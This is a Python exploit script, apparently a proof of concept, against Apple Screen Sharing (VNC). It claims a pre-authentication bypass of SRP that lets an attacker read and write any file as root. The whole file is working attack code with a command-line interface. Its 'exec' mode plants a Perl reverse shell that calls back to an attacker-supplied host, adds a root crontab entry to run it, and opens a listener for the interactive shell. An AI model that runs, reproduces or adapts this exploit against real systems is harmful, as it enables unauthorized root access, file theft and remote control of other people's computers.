#!/usr/bin/env python3 """ Apple Screen Sharing (VNC) pre-auth file read/write. Vulnerability: missing error-return in screensharingd's SRP frame-length validation. Sending a frame whose be32 length has bit ≥15 set bypasses SRP entirely — no key exchange, no cipher, no session crypto. The remaining bytes in the NetBuffer are consumed as ordinary RFB messages (ClientInit + Apple file-copy protocol). Primitives: read — read any file as root write — write any file as root (with mode control) Code execution (example): 1. write /var/tmp/.cmd (reverse shell script, mode 644) 2. write /var/at/tabs/root (crontab, mode 600) 3. cron fires within 60s → root reverse shell via perl/bash """ import socket import struct import hashlib import sys import argparse import os import time import select import tty import termios import socketserver import threading # ────────────────────────────────────────────────────────────────── # Socket helpers # ────────────────────────────────────────────────────────────────── def recv_exact(sock, n): buf = b"" while len(buf) < n: chunk = sock.recv(n - len(buf)) if not chunk: raise ConnectionError(f"connection closed (got {len(buf)}/{n})") buf += chunk return buf # ────────────────────────────────────────────────────────────────── # Blob construction # ────────────────────────────────────────────────────────────────── BANNER = ( "\x1b[1;35m" " ______ ____\n" " _____/ / __ \\____ / __/___ ____\n" " / ___/ / / / / __ \\ / /_/ __ \\/ __ \\\n" " (__ ) / /_/ / /_/ / / __/ /_/ / /_/ /\n" "/____/_/\\____/ .___(_)_/ \\____/\\____/\n" " /_/\x1b[0m\n" "\x1b[2m \U0001f921 navi_the_clown // pre-auth screensharing RCE\x1b[0m\n" ) FILLER = bytes([0x05, 0x00, 0x00, 0x80, 0x00, 0x80]) # PointerEvent(0, 128, 128) BIG_LEN = 24488 WRITE_CHUNK = 65536 # 0x10000 def build_msg(sub, ver, kind, f3, arg, payload=b""): """Build a generic type-0x22 file-copy message.""" L = 12 + len(payload) msg = bytearray(6 + L) msg[0] = 0x22 msg[1] = sub struct.pack_into(">I", msg, 2, L) struct.pack_into(">HHII", msg, 6, ver, kind, f3, arg) msg[18:] = payload return bytes(msg) def build_item_info(file_size, sid=2): """kind=100 ItemInfo — file size and counts (48-byte payload).""" p = bytearray(48) struct.pack_into(">I", p, 8, file_size) struct.pack_into(">I", p, 16, file_size) struct.pack_into(">I", p, 24, 1) return build_msg(0x00, 1, 100, sid, 1, bytes(p)) def build_new_item(filename, file_size, mode=0o100644, sid=2): """kind=101 NewItem — creates the file (100-byte header + name).""" name_enc = filename.encode("utf-8") if isinstance(filename, str) else filename p = bytearray(100 + len(name_enc)) struct.pack_into(">I", p, 42, file_size) # fork size at +42 struct.pack_into(">H", p, 0x5a, mode) # file mode struct.pack_into(">H", p, 0x60, len(name_enc)) # name length p[0x64:0x64 + len(name_enc)] = name_enc # arg=0x01000000: byte 14 = typeOfItem=1 (file) return build_msg(0x00, 1, 101, sid, 0x01000000, bytes(p)) def _make_blob(msgs_bytes, min_size=BIG_LEN): """Wrap file-copy messages into an auth-bypass blob. Layout: +0 be32 poisoned length (bit ≥15 set → auth bypass) +4 u8 0x00 (ClientInit) +5 messages +.. PointerEvent filler """ total = max(5 + len(msgs_bytes) + 6, min_size) buf = bytearray(total) declared = total - 2 if declared < 0x8000: declared |= 0x00040000 struct.pack_into(">I", buf, 0, declared) buf[5:5 + len(msgs_bytes)] = msgs_bytes off = 5 + len(msgs_bytes) while off + 6 <= total: buf[off:off + 6] = FILLER off += 6 return bytes(buf) def build_read_request(path: bytes) -> bytes: """24488-byte blob for reading a file (kind=1 StartFileSend).""" msg = bytearray(24 + len(path)) msg[0] = 0x22; msg[1] = 0x02 struct.pack_into(">I", msg, 2, len(path) + 18) struct.pack_into(">HH", msg, 6, 1, 1) struct.pack_into(">III", msg, 10, 2, 1, 4) struct.pack_into(">H", msg, 22, len(path)) msg[24:] = path return _make_blob(bytes(msg)) def _write_txn(dest_dir, filename, data, mode=0o100644, sid=2): """Build the message sequence for one file write (no blob wrapper).""" msgs = bytearray() m = bytearray(24 + len(dest_dir)) m[0] = 0x22; m[1] = 0x02 struct.pack_into(">I", m, 2, len(dest_dir) + 18) struct.pack_into(">HH", m, 6, 1, 2) struct.pack_into(">III", m, 10, sid, 1, 4) struct.pack_into(">H", m, 22, len(dest_dir)) m[24:] = dest_dir msgs.extend(m) msgs.extend(build_item_info(len(data), sid=sid)) msgs.extend(build_new_item(filename, len(data), mode=mode, sid=sid)) off = 0 while off < len(data): chunk = data[off:off + WRITE_CHUNK] msgs.extend(build_msg(0x00, 1, 102, sid, len(chunk), chunk)) off += len(chunk) msgs.extend(build_msg(0x00, 1, 104, sid, 0)) return bytes(msgs) def build_write_request(dest_dir: bytes, filename: bytes, data: bytes, mode=0o100644) -> bytes: """Single-file write blob.""" return _make_blob(_write_txn(dest_dir, filename, data, mode)) def build_multi_write(files) -> bytes: """Multi-file write blob — each file gets its own session ID. files: list of (remote_path: str, data: bytes, mode: int) All packed into one blob for a single auth-bypassed connection. """ msgs = bytearray() for i, (path, data, mode) in enumerate(files): d = os.path.dirname(path).encode() or b"/tmp" f = os.path.basename(path).encode() msgs.extend(_write_txn(d, f, data, mode, sid=2 + i)) return _make_blob(bytes(msgs)) # ────────────────────────────────────────────────────────────────── # Handshake (auth bypass) # ────────────────────────────────────────────────────────────────── def send_handshake(sock, blob: bytes, user: bytes = b"root"): """Version + sectype + SRP step-1 + blob, pipelined in one burst.""" server_ver = recv_exact(sock, 12) if not server_ver.startswith(b"RFB "): raise ConnectionError(f"not VNC: {server_ver!r}") sock.sendall(b"RFB 003.889\n") n = struct.unpack("B", recv_exact(sock, 1))[0] if n == 0: elen = struct.unpack(">I", recv_exact(sock, 4))[0] raise ConnectionError(recv_exact(sock, elen).decode(errors="replace")) types = list(recv_exact(sock, n)) if 36 not in types: raise ConnectionError(f"type 36 not offered (got {types})") sock.sendall(b"\x24") n = len(user) step1 = bytearray(n + 15) struct.pack_into(">III", step1, 0, n + 11, n + 7, n) step1[12:12 + n] = user sock.sendall(bytes(step1) + blob) challenge_len = struct.unpack(">I", recv_exact(sock, 4))[0] recv_exact(sock, challenge_len) result = struct.unpack(">I", recv_exact(sock, 4))[0] if result != 0: raise ConnectionError(f"auth failed (SecurityResult={result})") w, h = struct.unpack(">HH", recv_exact(sock, 4)) recv_exact(sock, 16) name_len = struct.unpack(">I", recv_exact(sock, 4))[0] name = recv_exact(sock, name_len) return w, h, name # ────────────────────────────────────────────────────────────────── # File read (server → client) # ────────────────────────────────────────────────────────────────── def read_msg(sock): """Read one type-0x22 framed message. Returns (kind, arg, payload).""" hdr = recv_exact(sock, 6) if hdr[0] != 0x22: raise ConnectionError(f"unexpected message type {hdr[0]:#x}") L = struct.unpack(">I", hdr[2:6])[0] if L < 12: raise ConnectionError(f"message too short (L={L})") body = recv_exact(sock, L) _, kind = struct.unpack(">HH", body[0:4]) _, arg = struct.unpack(">II", body[4:12]) return kind, arg, body[12:] def recv_file(sock): """Receive file-copy transaction. Returns (data, size, name).""" file_size = file_name = None data = bytearray() while True: kind, arg, payload = read_msg(sock) if kind == 100 and len(payload) >= 12: file_size = struct.unpack(">I", payload[8:12])[0] elif kind == 101 and len(payload) >= 0x64: nl = struct.unpack(">H", payload[0x60:0x62])[0] if len(payload) >= 0x64 + nl: file_name = payload[0x64:0x64 + nl].decode("utf-8", errors="replace") elif kind == 102: data.extend(payload) elif kind == 104: break return bytes(data), file_size, file_name # ────────────────────────────────────────────────────────────────── # Commands # ────────────────────────────────────────────────────────────────── def do_read(host, port, user, remote_path, output, retries): path_enc = remote_path.encode("utf-8") err = "[*] connecting..." for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, build_read_request(path_enc), user.encode("utf-8")) print(f"\r[+] authenticated — {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{'':20s}", file=sys.stderr) data, file_size, file_name = recv_file(sock) print(f"[+] received {len(data)} bytes" + (f" (expected {file_size})" if file_size and file_size != len(data) else "") + (f" name=\"{file_name}\"" if file_name else ""), file=sys.stderr) print(f"[+] sha256: {hashlib.sha256(data).hexdigest()}", file=sys.stderr) if output == "-": sys.stdout.buffer.write(data) elif output: open(output, "wb").write(data) print(f"[+] written to {output}", file=sys.stderr) else: fn = os.path.basename(remote_path) or "exfil" open(fn, "wb").write(data) print(f"[+] written to {fn}", file=sys.stderr) return True except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False def do_write(host, port, user, remote_path, local_file, retries, mode=0o100644): data = open(local_file, "rb").read() if local_file != "-" else sys.stdin.buffer.read() err = "[*] connecting..." dest_dir = os.path.dirname(remote_path).encode("utf-8") or b"/tmp" filename = os.path.basename(remote_path).encode("utf-8") blob = build_write_request(dest_dir, filename, data, mode=mode) for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, blob, user.encode("utf-8")) print(f"\r[+] authenticated — {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{'':20s}", file=sys.stderr) print(f"[+] sent {len(data)} bytes to {remote_path}", file=sys.stderr) print(f"[+] sha256: {hashlib.sha256(data).hexdigest()}", file=sys.stderr) return True except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False # ────────────────────────────────────────────────────────────────── # RCE: single-connection reverse shell via crontab # ────────────────────────────────────────────────────────────────── # ────────────────────────────────────────────────────────────────── # Connectback listener + interactive PTY shell # ────────────────────────────────────────────────────────────────── socketserver.TCPServer.allow_reuse_address = True class _ShellHandler(socketserver.BaseRequestHandler): def handle(self): print(f"\n[+] \x1b[1;32mshell from {self.client_address[0]}\x1b[0m") s = self.request fd = sys.stdin.fileno() old = termios.tcgetattr(fd) try: new = termios.tcgetattr(fd) # Keep ECHO on (local echo since remote has no PTY) # but disable canonical mode so we get char-by-char new[3] = new[3] & ~termios.ICANON new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(fd, termios.TCSADRAIN, new) s.sendall(b"id\n") while True: r, _, _ = select.select([fd, s.fileno()], [], []) if fd in r: data = os.read(fd, 4096) if not data: break s.sendall(data) if s.fileno() in r: data = s.recv(4096) if not data: break os.write(sys.stdout.fileno(), data) except (KeyboardInterrupt, OSError): pass finally: termios.tcsetattr(fd, termios.TCSADRAIN, old) print("\n[*] shell closed", file=sys.stderr) os._exit(0) class _ThreadedTCP(socketserver.ThreadingMixIn, socketserver.TCPServer): daemon_threads = True def do_exec(host, port, user, lhost, lport, retries): """Single-connection RCE: writes payload + crontab, then catches the shell.""" # Perl reverse shell — no PTY (macOS script(1) can't pty over a socket). # Listener handles local echo. payload = (f"""#!/bin/bash (sleep 2; rm -f /var/at/tabs/root /var/tmp/.r) & exec /usr/bin/perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in({lport},inet_aton("{lhost}")))&&open(STDIN,">&S")&&open(STDOUT,">&S")&&open(STDERR,">&S")&&exec("/bin/bash -i");' """).encode() crontab = b"* * * * * /bin/bash /var/tmp/.r\n" blob = build_multi_write([ ("/var/tmp/.r", payload, 0o100755), ("/var/at/tabs/root", crontab, 0o100600), ]) err = "[*] connecting..." for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, blob, user.encode("utf-8")) print(f"\r[+] authenticated \u2014 {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{'':20s}", file=sys.stderr) print(f"[+] payload + crontab written in single connection", file=sys.stderr) print(f"[*] listening on {lhost}:{lport}, shell within 60s...", file=sys.stderr) srv = _ThreadedTCP((lhost, lport), _ShellHandler) srv.serve_forever() return True # not reached; _ShellHandler exits except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False # ────────────────────────────────────────────────────────────────── # CLI # ────────────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser( description="Apple Screen Sharing pre-auth file read/write") sub = ap.add_subparsers(dest="cmd", required=True) rd = sub.add_parser("read", aliases=["r", "get"], help="read a remote file") rd.add_argument("host") rd.add_argument("file", help="remote file path") rd.add_argument("-o", "--output", default=None, help="output file (default: basename; - for stdout)") wr = sub.add_parser("write", aliases=["w", "put"], help="write a file to the remote host") wr.add_argument("host") wr.add_argument("file", help="remote destination path") wr.add_argument("local", help="local file to upload (- for stdin)") wr.add_argument("-m", "--mode", default="0644", help="file mode in octal (default: 0644, use 0600 for crontabs)") ex = sub.add_parser("exec", aliases=["x", "rce"], help="single-shot RCE via crontab reverse shell") ex.add_argument("host") ex.add_argument("lhost", help="callback IP for reverse shell") ex.add_argument("lport", type=int, help="callback port") for p in (rd, wr, ex): p.add_argument("-p", "--port", type=int, default=5900) p.add_argument("-u", "--user", default="root", help="macOS username for SRP step-1 (default: root)") p.add_argument("-r", "--retries", type=int, default=20, help="retry count — heap-layout dependent (default: 20)") print(BANNER, file=sys.stderr) args = ap.parse_args() if args.cmd in ("read", "r", "get"): ok = do_read(args.host, args.port, args.user, args.file, args.output, args.retries) elif args.cmd in ("write", "w", "put"): fmode = 0o100000 | int(args.mode, 8) ok = do_write(args.host, args.port, args.user, args.file, args.local, args.retries, mode=fmode) else: ok = do_exec(args.host, args.port, args.user, args.lhost, args.lport, args.retries) sys.exit(0 if ok else 1) if __name__ == "__main__": main()